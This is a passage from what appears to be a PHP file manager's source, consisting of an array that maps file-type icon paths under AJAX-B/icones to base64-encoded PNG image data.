vbv/flIIbMpaMm3377ru1e3XwzPnl3x/G9dWmG/v23t0ezFL+Ty8V3Z3T3+gGuRAvTbfR8d7Vn92Mb/eepqXbkb3X+n2tkUpwewq30H36vz6f8A1A08td4CM64AAAAASUVORK5CYII=',
  './AJAX-B/icones/type-gzip.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAC/0lEQVQ4jWWTW2hcVRSGv73PmZlzSdpmGk3QpNYxpvGSGBEbL0VKQ6sVLxTxQWzV9qHoS1uwWMQLfRBEqSCW+GAfBEGqQokU9KmhpoKkoKUlpW1M1aQ2pCG3yczJdC7n7OXDXEjHDT8s1t7/x8/ae1uABhQgK+qatnTzyG2raZ1aYKZ+b4XQVbXRkdrKy3sA3b2O1MlPur6N/j0cBZd2Z1/YqJ9debZO5aJd3dtxZsf5yfc27Bs4drDts9I/nxaMGZLi0udizIeSv7qj9Prm2Gv15hqkze5IDb94fnLm40WZOHJaTDguIr+KkW8kN3VApPSmyPxLUvjjqejAM+7Beojl4LuHHvpg4Int7Y8XbQ+7Q9G4foIwd4Uw+ydmeRI7PwNBBquUVv29/rZYNt84PFYakgpFAfruFpJ/He+d5b53oKUT+BuYALkO02MwN024sESYDpDlACM+Xw5GXx0aXHoLMLVIKlpGjbyBuvY9iikU06jcPOQClB0jFgc3nsdb00BD0ubJLtkCOIC2KxAk7qD8BmT8a1TUD60+kllAlgPUzQwUgFgSyc+hTBETeVWrqUFwXCSRBAUydw4VdoLJoUKFqFUoaxEogO8j4mEsC8hySxISLsSbymNSCpF5cLqgMAoqh9geiAtiQASjbtYlEZCYi17lVCCVmasIPAckASI1QBkSViHaBsx8luDyuWtX7n/u4S4sqXAUmEZEN6FEwJQBIoISA7GlWhIL0IWQ4omh2ROPriluvquv+w7l+qi4D7oRYiWIJyDhQMLhxvCDpC/0kR69R6cvrM+PMzqiAQMwk+HG8++O9Q8e/umUCVoRUohuBbcZvGbw1lIIEsz+ssG45hWS9k6ucumMISonqf7GYkTxx5HFH5qvj3X2bnr6AdttQVmaMGvz+7Hf5vbv/flIIbMpaMm3377ru1e3XwzPnl3x/G9dWmG/v23t0ezFL+Ty8V3Z3T3+gGuRAvTbfR8d7Vn92Mb/eepqXbkb3X+n2tkUpwewq30H36vz6f8A1A08td4CM64AAAAASUVORK5CYII=',
  './AJAX-B/icones/type-ico.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gsCFhIOUo0uHgAAAqtJREFUOMt9ks1rZEUUxX/V7yUD3fTrREyMSZuAia1CGGRcOIuQ6MqPhZusDJhN/gG3QkBnIQ7MrMQ/QBeiG/8AB7LMMCORGDpZDAEjsQlpQz667ffRr6rudTG8zgSdHDjcRd176pxbZRYXFz/6+sf7P1jvyKVPJjmBGnKxnNozcsmxPieXp+fWW5w4crHIg/TB/S/vfRIGQTCcvagjL5uXiH1MIhmqwmG6z8PeryQuIXH/kLiU2CfExMSSEGvCp+WPXwAIVZW3wjfoa5+qKePVo6rUwwneq9zGicd7hxOPiODkqRMnjsePHwIQAoyaKpgqxhhUFQBVRVURkf+tzjl+N78xcJKmKYeHh+zu7jI5OcnMzMygEbgiYL3FqxASUCAE6Ha7zM3NMTU1RZZlZFlGv98nTVPGxsYIw5AkSTg/P+dJ5Q8O0r94N3nnqgjA2dkZaZoOhkWE2dlZ9vf36XQ6BEHAxMQEb6avMh+8Tle7GGMu42RZxs7ODnme470nyzKWlpY4Pj7mu5++50nnT+aj1/jw/Q+IoogbN5RnUSoye+/x3mOtxTlHpVJhaGiIjfgRr3w1z6O/t+n1enQ6Hfb29ojj+DKOqg4GC3rvabfbVKtV1hc/4+hn4e3bdYaHhzk6OuLg4IBarfZ8J4XQ1tYW/X6fm/M3WbzVoNFoANBqtRARjDGXOwEIgoCRkRGstVfYbDap1+tYa1FVWq0WURThvccYg7X2Ms7o6CiNRuM/kYpaXLSwsMD4+DiqysXFhayvr/8ycFKr1YiiiOsgIpycnFAul+n1erK2tnZne3v7G0BCVaVUKg2++/OgquR5TrvdltXV1Tubm5t3gRwolYqmYlHX8fT01K2srHzxjACAmOnp6VvLy8ufFy91nZONjY3NZrP5beEAEKD0LwwT2FEGby2HAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-jp2.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gsCFg0kRGzpVgAAAqdJREFUOMt9kktrZFUUhb9T9yYNVdStRExMJzEREssHoZF2YkOo6MjHTDIyYCb5B86EQNsDUbBH4g+wB6J/wYYM0xoIHUMlgyZIQVGElCGPKus+zz17O/FWOmhnwWJP9l5nrb2PaTQan/z88JufnLVIliFpghoPsRn27AyxGS61iMuQJMNZi+Q5YjMep/L4q+8efuZ7njf6skvGzCu3cWGIxBEqSnzUZrDzhDyKyP+OyKMIF4UQhUgYolFI+dPPXwLwVRX/7XfQJMWUq6hzqCr+7Vkq9z5AXI7LHeJyRORfFzmS5+z8tgOAD2Cq45gqGGNQVQBUFVVFRP635nmOefoHQydxHNNutzk4OGB6epr5+flhI3BNwFmLigPPp4AP0O/3WVxcZGZmhiRJSJKENE2J45iJiQl83yeKIi4uLqj8+Yy43SK69/51EYDz83PiOB4OiwgLCwscHR3R6/XwPI+pqSni19/Ae3MJ7fcxxlzFSZKE/f19sizDOUeSJKysrHBycsIvj36k13pGUF/iw48+JggCbt1SnkepyOycwzmHtZY8z6lUKoyMjBA+2eLrt17lr6e/MxgM6PV6HB4eEobhVRxVHQ4WdM7R7XapVqs0vtjkUV9477V3GR0d5fj4mFarRa1We7GTQmh3d5c0TVm6c4fG3Tr1eh2ATqeDiGCMudoJgOd5jI2NYa29xmazyezsLNZaVJVOp0MQBDjnMMZgrb2KMz4+Tr1e/0+kohYPLS8vMzk5iapyeXkpm5ubvw6d1Go1giDgJogIp6enlMtlBoOBbGxsPNjb2/seEF9VKZVKw+/+IqgqWZbR7XZlfX39wfb29rdABpRKRVOxqJt4dnaWr62t3X9OAEDM3Nzc3dXV1S+LS93kZGtra7vZbP5QOAAEKP0DGJnYVl14OjgAAAAASUVORK5CYII=',
  './AJAX-B/icones/type-jpeg.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gsCFhILIufakQAAAqZJREFUOMt9kk9Lo1cUxn8376sDCXmjpVpHrS60oVNkKNNNByS2q/7ZFemiQt34DborCO0sSgudVekHaBel/Qoz4NJpBRkr0cUgJRCCmErUpHn/3vee04UkKu34wMOByznPfZ5zr6nVah8//vbXX6x1ZJmQJoLxFJsJnY7FZkJqHS4Tkkyw1pHncnkuT59+//jrz3zP80Zd8urYa3cNYeiII0FUOWrG7DzrE0U5/0Q5UZQThY4ohDAUolD55PPiKwC+qvLW2z5JqhTLBucUVeXurM/D90u4XMidw+WCiFy6yC/r7zs7APgA5XFDGYMxBlUFQPVSTET+t+Z5zvM/DUMncRzTbDY5ODhgenqa+fn5YSNwQ8BahzjF8xnCB+j1eiwuLjIzM0OSJCRJQpqmxHHMxMQEvu8TRRHn5+f89aJEsxHz8L3opgjA2dkZcRwPh0WEhYUFjo6O6Ha7eJ7H1NQUb9wLeXNphF5PMeZanCRJ2N/fJ8synHMkScLKygonJyf8/NNvNF50qS4FfPjRBwRBwJ07ynUUBpmdczjnsNaS5zmlUomRkRGebYXce/0bnv/xN/1+n263y+HhIWEYXsVR1eHggM452u025XKZLzZrHPee8Ok77zI6Osrx8TGNRoNKpfJyJwOh3d1d0jTl/v0lag+qVKtVAFqtFiKCMeZqJwCe5zE2Noa19gbr9Tqzs7NYa1FVWq0WQRDgnMMYg7X2Ks74+DjVavU/kQZ1cNHy8jKTk5OoKhcXF7K5uflk6KRSqRAEAbdBRDg9PaVYLNLv92VjY+PR3t7eD4D4qkqhUBh+95dBVcmyjHa7Levr64+2t7e/AzKgUBg0DRZ1GzudTr62tvbVNQEAMXNzcw9WV1e/HLzUbU62tra26/X6jwMHgACFfwGKAdiNNXBHfgAAAABJRU5ErkJggg==',
  './AJAX-B/icones/type-jpg.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAACoElEQVQ4jX2SzU8kVRTFf6+qgEinqwEFERBMmvS4QCdhZ0IgszBmXJmwkkQ2LPwbjCQ6mxkXribuTUyM/gszBndEMyFB0mCiJINiB+kQPrrt6vp49e51MVMNRIeTnNy7uO+8c+57ZnFx8f0HD7/7NrMO64QkEzxPyaxw2rHYXMhy97wK1l32+ufjx18++PzDwPf9/sS8MvTaq4YodUSJgFF+/Svmp6cdumlOlObPq6ObKlEqRInw0dRLIwCBqnL7jYA0V8qDBieKiDI5EnDnrRLOCblzOCfPehFy94xPfngCQAAwUjaAwRiDqgKgqqgqIvK/Nc9zdgJDz0kcxxweHrK7u8vExAQzMzO9QeCaQGYdIkrg00MA0G63mZ2dZXJykiRJSJKENE2J45jR0VGCIKDb7XJ+fs5vZyWe/h1zp9q9LgJwdnZGHMe9wyJCtVplf3+fVquF7/uMj4/z5ssRc2MB7X8UY67ESZKEnZ0dsizDOUeSJCwtLXF8fMzX33zP739cMFetcPfue4RhyMDAAFfhFZmdczjnsNaS5zmlUom+vj5+/CXi9Xfv83O9SafTodVqsbe3RxRFl3FUtXewoHOOZrNJuVzm048XOWo/Yv6Dd+jv7+fo6IiDgwMqlcqLnRRCW1tbpGnK7bfnWJqvcetWDYBGo4GIYIy53AmA7/sMDQ1hrb3Ger3O1NQU1lpUlUajQRiGOOcwxmCtvYwzPDxMrVb7T6SiFhctLCwwNjaGqnJxcSHr6+uPek4qlQphGHITRISTkxMGBwfpdDqytrZ2b3t7+yEggarieV7vu78IqkqWZTSbTVldXb23ubn5BZABnlcMFYu6iaenp/nKyspnVwQAxExPT88vLy9/UrzUTU42NjY26/X6V4UDQADvX/Ci1JfrfvvWAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-js.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAB1UlEQVQ4jY2Sy4oaQRSGv6oupTtGlEBAF4IhCFlnm/XssgkBfQHJwofLE4Tssh0Qn0BFsPGCaI863V11smi7vURmUnA4l6r/P+f83arT6Xz69fP3n+TJkcYWlzpsbvYcO+sQAUQQMv/mfZnvP75+MYAJ4uq7shM2kyeSgyV5TkmOkDw74qOQHC1p7OAEFqUA8D/7KKWMAah+DJAYqh8CxAnOCc5m3e3JO+twIogI4jJfrhoADEDprYfWGqUUInJqKDjn/vG3NQCdBwDnKCO5tMViwW63u2rgXLaihivkFcFlvFwuiaKoyK21qJM2BUleuJ3gkjC/t9ZeYYp1XlrlVicArTVa67Owxae7A7qX5xPk3gDEcYzneQWziJCmKVEU4ft+UVNKFW+uSPIR0zQF4Hg8FqDJZEKj0cD3fUSEUql0nyRP8svVaoWI0Gq1CIKAMAyzh8ZQq9VeJslPs9kshGu32xwOB0SEIAjYbDYYYwqNZrPZervdLs2lUADlcvmqU6VSKXLP86jX62itCcNw3e/3H1ar1dxcAl47IsJ+v2exWKx7vd7DcDh8BLIFlVL/ZQDj8Xjd7XZzAgBnRCSdz+frV8cAptNpNBgMvo1Go0eyv90B+i+xz4M3fn/IFwAAAABJRU5ErkJggg==',
  './AJAX-B/icones/type-mp3.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gkXEQgLioLCAgAABBtJREFUOBEBEATv+wEAAAAAAAAAHAAAABcAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOoAAADiAAAA/gAAAAAAAAAAAAAAAAAAAAAz+Pj48Pv7+/38/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/4+Pj/lJSUkQAAACAAAAACAAAAAAAAAAAAAAAAAAAAADb7+/v99PT0//X19f/19fX/9fX1//Hx8f/v7+//6enp//z8/P/n5+f/lZWVkQAAACAAAAACAAAAAAAAAAABAAAANvz8/P/39/f/+fn5//f39//39/f/8/Pz//Dw8P/q6ur//Pz8//b29v/09PT/mZmZkQAAACAAAAAAAQAAAAEAAAA1/Pz8yf39/QAAAAAAAAAAAP7+/gD///8A/Pz8APn5+QAREREAAAAAAAAAAAAAAAAABAQENwAAAMsEAAAAAAAAAAAAAAAAAgICAAEBAQAAAAAAAgICAP39/QADAwMABgYGAO/v7wD15eUA/f7+AB8uLgAAAAAAAAAAAAQAAAAAAAAAAAAAAAABAQEAAAAAAAAAAAABAQEAAwMDAAAAAAAAAAAA897eAO/OzgD69PQA8sfHAAAAAAAAAAAABKU4OEzs+flbzYqKAAsZGQD79fUA9+zsABs+PgDpysoAAQMDAAscHAAgT08ADiIiAPbp6QDfp6cAAAAAAAAAAAACAQAAEOX399IzdnYA6crKAC1oaAAQJSUA7NLSABMsLAAxcXEA7dPTAAIBAQDqx8cA2p6eABQwMAAAAAAAAAAAAAQAAAAA8/v78gAAAAAIFRUAAAAAAAMHBwD++voAAwgIAAAAAAACBAQA//7+AB1BQQAcQEAAyHp6AAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8AAADjvLwA8d7eAAcSEgDqzMwA7dPTAPry8gAULS0AAAAAAAAAAAABAAAAAQAAADX8/PzJAAAAAAAAAAAAAAAA4bm5AAcSEgAQJiYABg0NAAAAAAD79fUAAgUFAAUICAAEBAQ3AAAAywQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARJycAAwgIAAcODgAAAAAAAAAAAAYMDAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAA/wAAAAEAAAAAAAAAAA4gIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+AAAAAAAAAP8CAAAA/wAAAP79/f33AAAA/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v39/fYAAAD9AAAAAAEAAAAAAAAAHQAAABcAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/QAAAOoAAADjY+cO/GTkvYMAAAAASUVORK5CYII=',
  './AJAX-B/icones/type-ogg.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gkXEQYKYwbfGgAABBtJREFUOBEBEATv+wEAAAAAAAAAHAAAABcAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOoAAADiAAAA/gAAAAAAAAAAAAAAAAAAAAAz+Pj48Pv7+/38/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/4+Pj/lJSUkQAAACAAAAACAAAAAAAAAAAAAAAAAAAAADb7+/v99PT0//X19f/19fX/9fX1//Hx8f/v7+//6enp//z8/P/n5+f/lZWVkQAAACAAAAACAAAAAAAAAAABAAAANvz8/P/39/f/+fn5//f39//39/f/8/Pz//Dw8P/q6ur//Pz8//b29v/09PT/mZmZkQAAACAAAAAAAQAAAAEAAAA1/Pz8yf39/QAAAAAAAAAAAP7+/gD///8A/Pz8APn5+QAREREAAAAAAAAAAAAAAAAABAQENwAAAMsEAAAAAAAAAAAAAAAAAgICAAEBAQAAAAAAAgICAP39/QADAwMABgYGAPDw8AD+/v4A/Pz8ABYWFgAAAAAAAAAAAAQAAAAAAAAAAAAAAAABAQEAAAAAAAAAAAABAQEAAwMDAAAAAAAAAAAAAQEBAP39/QADAwMAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAO7x8wCqvMYABAQDADQpJAAcFhIAqrzGABENCwD2+PkARzcuAK/BywAWEhAATmt7d7KVhVQEAAAAAAAAAAAAAAAAvszUAE4+NQAZFBEAkai1ABoVEgBVQzoAEQ0KAI2lsgDE0dkAU0E3ABgUEgCuusIcAAAAAAIAAAAAAAAAAAAAAAD6+/wACAYFAAEBAQACAQEA/f3+AAMDAgACAgIAAgICAP7//wAFBAQAAQEBAAAAAPwAAAAABAAAAAAAAAAAAAAAADwwKACmucQAEA0KACohHAApIRwApLbBABQQDQAAAAAAPC8oAKa5xAAWEg8AAAAAAAAAAAAAAAAAAQAAADb8/Pz//Pz8//j4+f/09fb/+/v7//P09f/l6uz/197i/52wu//y9PT/5ers/9ng5P9NanqqAAAAAQQAAAAAAAAAAAAAAAAAAAAABAQDAAQEAwAAAAAAAQEBANTd4gAFAwMAV0U7AAAAAADU3eIABgQEAMGpnJQAAAAAAQAAAAEAAAA1/Pz8yAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+BAQEOQAAAMoCAAAA/wAAAP79/f33AAAA/gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v39/fYAAAD9AAAAAAEAAAAAAAAAHQAAABcAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/QAAAOoAAADj3FsjhvENSvwAAAAASUVORK5CYII=',
  './AJAX-B/icones/type-pdf.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHhSURBVDjLjZPLSxtRFIfVZRdWi0oFBf+BrhRx5dKVYKG4tLhRqlgXPmIVJQiC60JCCZYqFHQh7rrQlUK7aVUUfCBRG5RkJpNkkswrM5NEf73n6gxpHujAB/fOvefjnHM5VQCqCPa1MNoZnU/Qxqhx4woE7ZZlpXO53F0+n0c52Dl8Pt/nQkmhoJOCdUWBsvQJ2u4ODMOAwvapVAqSJHGJKIrw+/2uxAmuJgFdMDUVincSxvEBTNOEpmlIp9OIxWJckMlkoOs6AoHAg6RYYNs2kp4RqOvfuIACVFVFPB4vKYn3pFjAykDSOwVta52vqW6nlEQiwTMRBKGygIh9GEDCMwZH6EgoE+qHLMuVBdbfKwjv3yE6Ogjz/PQ/CZVDPSFRRYE4/RHy1y8wry8RGWGSqyC/nM1meX9IQpQV2JKIUH8vrEgYmeAFwuPDCHa9QehtD26HBhCZnYC8ucGzKSsIL8wgsjiH1PYPxL+vQvm5B/3sBMLyIm7GhhCe90BaWykV/Gp+VR9oqPVe9vfBTsruM1HtBKVPmFIUNusBrV3B4ev6bsbyXlPdkbr/u+StHUkxruBPY+0KY8f38oWX/byvNAdluHNLeOxDB+uyQQfPCWZ3NT69BYJWkjxjnB1o9Fv/ASQ5s+ABz8i2AAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-php.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gsCFhgESLcvigAAArdJREFUOMuNkrtvXEUUxn8z99592evrrNeP2JIFCU5ElAI6CwkhENBRQUXjpHdH6T/BHW3kIoVD6yZNtFFkRUKOLEUkIZEDGAuvsVa7juP1He/exzwovLsJaAV80ug7M2fOmXPOfOLJzl47KJZHo9iQ9xynXY2KNcYYtLFD2WiDthajDZcm/Y6vvYIf2ZLU0pJhefn6jFdKk3QtaabJsow4Pec00aSZJkmzAX/70ZT0p0qS/FgO5xzOOi5X8zjr0M5ibW8ZizYWZw3WWrR+48sR4+cDQXVEAiCEwDkHgHMOa+1Q7tvWWk5ONH4/6G30LzrnMNZBz/6nT2sNgP92cJxZWlFGVzsy47BGk6g2QXkCgUNiGfEMEyUxqEQI8SbJbrNLS2XY9iFJ3CWcnCPtnHK4t8PF+QVKlRlah7tYfH4tX+T9qqAY9MbQaDTOuqJc2tx5xfR4nhf37zBz6Tqtgz3Gp2YRQtD8Y4dri1/y25MtDI4kP03lnet88+E4SqmOBNg/UvxycEKjecyjrUds1u6SyBFePP0JP5zlz0aLZz8/5+HmA26v3eI4K/D74SlCiPN2tNZcniiglOLHvV2y4gTh1S84yk9ReHeGly1DbuFzNms/MHdlkU8/uYGyZRanJVL22qnX62dhGJYOGsfce7zPs/oZ7cRDCAGAJwWeFFQLKQlFcjn4+ErIZx/MEwQB7Xa74wNIKZmfrbI0GdI8OuF5/TX7zQ4q1RjrKPoe1bER3psdY2HuAqOjo4NHBpVUKpUSQ9AXl5QSIQRKKbTWCHH+xQDb29tP/b5Sh8HzvL/tjTGEYUgQBEgpqdVqW0tLS1/9a5JhSk6SBK01Gxsb95aXl79WSnV8IcRgyv8FIQRxHLO+vn5nZWXlZpZlKYAfRRG5XO5/JYmiiLW1te9XV1e/c87Z3rH8CyJ6rnO7SpZYAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-php5.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gsCFhc06fYD6QAAArpJREFUOMuNkr9vW1UUxz/3vudnx3HyXMdy0hZVoiVIQe3AlgEGEDDBBBNLYM/GmD8hGysKUoeUNUsRqiJBhFSlygClSmlKQyGByq1rN46vHb/37r2HwbHbSFHLVzr63h/nfO855x51//bD9nhuopR1HOSF9NCSGotzDmf9CfZDdg5rPd45ShfDXhjaQkinqAPrIfN0d7p0mxabeGxqybKMrD9gl1psakmTbMRzn9d0OFbTlPMRIoKIUL6UBxGc9Xg/MPEeaz0iDu/9iTsb9QmDvCJf1QAopRARAERkIHAKD9feew4OLOEw6EUMHUUE7wRBTogPzVoLQPhisOt7uo0MeyRIJmTeYpI2cW4KUYJojx535KfUKBOl1HORZ7tH9BoZTf+IJDmiFp+nlx7y4NE9Xj87S7U4w9+NXbQPOfPHWSbnFMHYcRvq9Xo3fzRR/GujSXE6z/d3rzE7c5n9xkNmyudQSrH75B7vvPURvzzYxDshTqa5WLnMm5+VMcb0NEBzz/D4/gHNeovNW7f4YeM6UTLO7bu/MhWe4/G/DbbvbPPTzz/y7dVvoFWg9echSqlBOdZaJi8VMMawc3OXUjbFfPwh5ac1JgozHO443o4+4PrGd1w5P8/H731BwUwwOa/R+ric/f39bhzHxcY/LX6/scfTO118O0ApBYAOFCpQ6GpKmIxBBK+9GzP3/gVyuRztdrsXAmitmb5QpbIQ03pyQH37Ge29Hn1jESdEYwHF6jjVNyapzZ6hVCqNHhllUqlUipyC4XBprVFKYYzBWotSgy8G2Nra+i0cTuppCILgxN45RxzH5HI5tNasr69vLiwsfPJSkdMmOUkSrLWsra3dWFxc/NQY0wuVUqMuvwpKKfr9Pqurq9eWlpa+zLIsBQg7nQ5RFP0vkU6nw8rKytfLy8tfiYg/Ptb/AZ+mrqha7H0oAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-png.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gsCFiQnmSMnBwAAAqBJREFUOMt9ks1LJFcUxX+vq2yJTX8NUYwaXSg9GxPCZDMLaRMI5GPrKkLc+D8EAkIygZAsZhXyBySEMFllnwGZlWEGBCOti8GFII3YiLbdqa6qrvfevVlV90gyHjjczb3nnnPfM81m87Mnv37/m/cWcRkiKaoB4jNseoX4DG8tohliM7y3iDjEZzx9Lk+/+fbx52EQBMU362nNhG/h7QDxMSpK0j8jiv7C2RiXxDgbY21C4P5BsgFqB0wVv7gHEKoq4RvvoTLEFMqoeFSVcHKB0r0PEXF45xF1iAjiHeIcIo4Xf7wAIAQwQR0TgDEGVQVAVVFVROR/q3MOE/zNyEmSJJydnXF0dMTc3BxLS0ujRuCWgHcWxef7x076/T4rKyvMz8+TpilpmjIcDkmShOnpacIwJI5jut0uJfOSJDolDj64LQJwfX1NkiSjYRFheXmZk5MTer0eQRAwOztLnN0nrK2i/T7GmHGcNE05PDwkyzK896Rpyvr6OhcXF/z+5Gd63ZeU66t88vGnVCoVJieVV1HIM3vv8d5jrcU5R6lUYmJigkF3l+++fJvL8+dEUUSv1+P4+JjBYDCOo6qjwZzeezqdDuVymeZHO/zyTHi49j7FYpHz83NOT0+pVquvd5IL7e/vMxwOWX3nXZoPGjQaDQDa7TYigjFmfBOAIAio1WpYa2+x1WqxsLCAtRZVpd1uU6lU8N5jjMFaO45Tr9dpNBr/iZTXfNHa2hozMzOoKjc3N7Kzs/PnyEm1WqVSqXAXRITLy0umpqaIoki2t7cfHRwc/AhIqKoUCoXRd38dVJUsy+h0OrK1tfVob2/vByADCoW8KT/UXby6unKbm5tfvyIAIGZxcfHBxsbGV/lL3eVkd3d3r9Vq/ZQ7AAQo/AuzWdY4zKBPfAAAAABJRU5ErkJggg==',
  './AJAX-B/icones/type-ppt.png' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHeSURBVDjLjZO/i1NBEMc/u+/lBYxiLkgU7vRstLEUDyxtxV68ykIMWlocaGHrD1DxSAqxNf4t115jo6DYhCRCEsk733s7u2PxkuiRoBkYdmGZz3xndsaoKgDGmC3gLBDxbxsA31U1AKCqzCBXsywbO+e8iOgqz7JM2+32W+AiYFX1GGDHOeen06mmabrwyWSio9FI+/2+ioj2ej3tdDoLiJm+bimAhgBeUe9RmbkrT5wgT97RaDQoioIQAt1ud7/Var1h+uq+/s9+PLilw+FwqSRgJ1YpexHSKenHF4DFf/uC3b7CydsPsafraO5IkoTxeEwIARGh2WwCYNUJAOmHZ5y4eY/a7h4hPcIdHvDz/fMSnjviOCZJEiqVCtVqdfEl8RygHkz9DLZWQzOHisd9OizfckcURRhjMMbMm14CQlEC/NfPjPd2CSJQCEEEDWYBsNZijFkaCqu5Ky+blwl5geaOUDg0c8TnNssSClkER1GEtXYZcOruI6ILl1AJqATirW02Hr8sFThBVZfklyXMFdQbbDzdXzm78z4Bx7KXTcwdgzs3yizuzxAhHvVh4avqBzAzaQa4JiIHgGE9C3EcX7ezhVIgeO9/AWGdYO/9EeDNX+t8frbOdk0FHhj8BvUsfP0TH5dOAAAAAElFTkSuQmCC',
  './AJAX-B/icones/type-recycled.png' => 'iVBORw0KGgoAAAANSUhEUgAAABEAAAARCAYAAAA7bUf6AAADFUlEQVQ4jX2ST2gUVxzHP+/tZBOXNdnEJiVgW0hKIiU9FMUgeMi5lwYPGiSg0EPwoiD0FvTiMULBa4yXXDyoRQ+tCaRFSw9uoRChVUyqm8kfdpvJZGcyk5mdmffrId2lldAvfPj+fo/3+x5+76kXv7+oS16KcRbTyBooFEESkM/l2dnfoT3XjlKK3WgXJ3RITEKapaTmgNOl03uWJ56lc1onKsFNXNa8NY7mj5I3ebzMo0N1EKURtm/zfO05URoRZdGBpxHHvzhuqcpmJcgVcwURwYhpkZkMYw78/+jKukKr0FbgWPEYAEopRAQAY0yLf/ci0vIsy3BdF6s5BNCsFt4ssFRdAqBNt2EyQ39bPxeGL3Ck7QgigoiQpilKKajVaoExRowxkmap3Pjphjx490BSk4oxRt7uvZUgCeSV90quLFyRl+9eiuu64jiObG1tyerqaqCq1WrQ19dXALj9823GToyBgo1wgyiLSCXFUhZn+85Sype49sM1bo3eQqMREYIgCC0AEcHb96glNRY2FnAih/cVpzGTg5NcPnWZJ388YfyzcZRSKKWwmpeW15d5WntKj9fTGhzsHGQz3GSkZ4Tzn5zHGMNo7yiPfn3UCgCwkiQhjmOiJOJ17TUdVgcAZz48w83Pb/K48piLn14k3o+JifETn0baQGvdelEtIsRxzGBpkFyQY9ff5WTnSe6cuoNuaMb7xwmDkL29Pep+nes/Xme4axitNVrrgxAArTW9nb1cGrhESZdY3V5l5a8VfN/H8z2269s8qzxjammK8p9lzo2ca4UAKNu2g1KpVACIkoip76aopBX6i/1cHbrK3ZW71OIa9UYdb9vj3pf3GPhgoPUpy+XysrJtO+ju7i40l5mZjPu/3efhm4d4iUdmMtIsZeyjMSZPTDL08RCWZaG1ZnFx8ZeJiYmvWF9fD8IwlMNwdh2p7lQlCAIJw1Bs2xbHccR1XZmdnf2+WCwWAW01N3yYCu2F//RKKaIoYn5+fn56evrrJEkaAJbv+1iWdWjI+/J9n7m5uW9nZma+ERHzz7H+G1mE/h+nQjK4AAAAAElFTkSuQmCC',
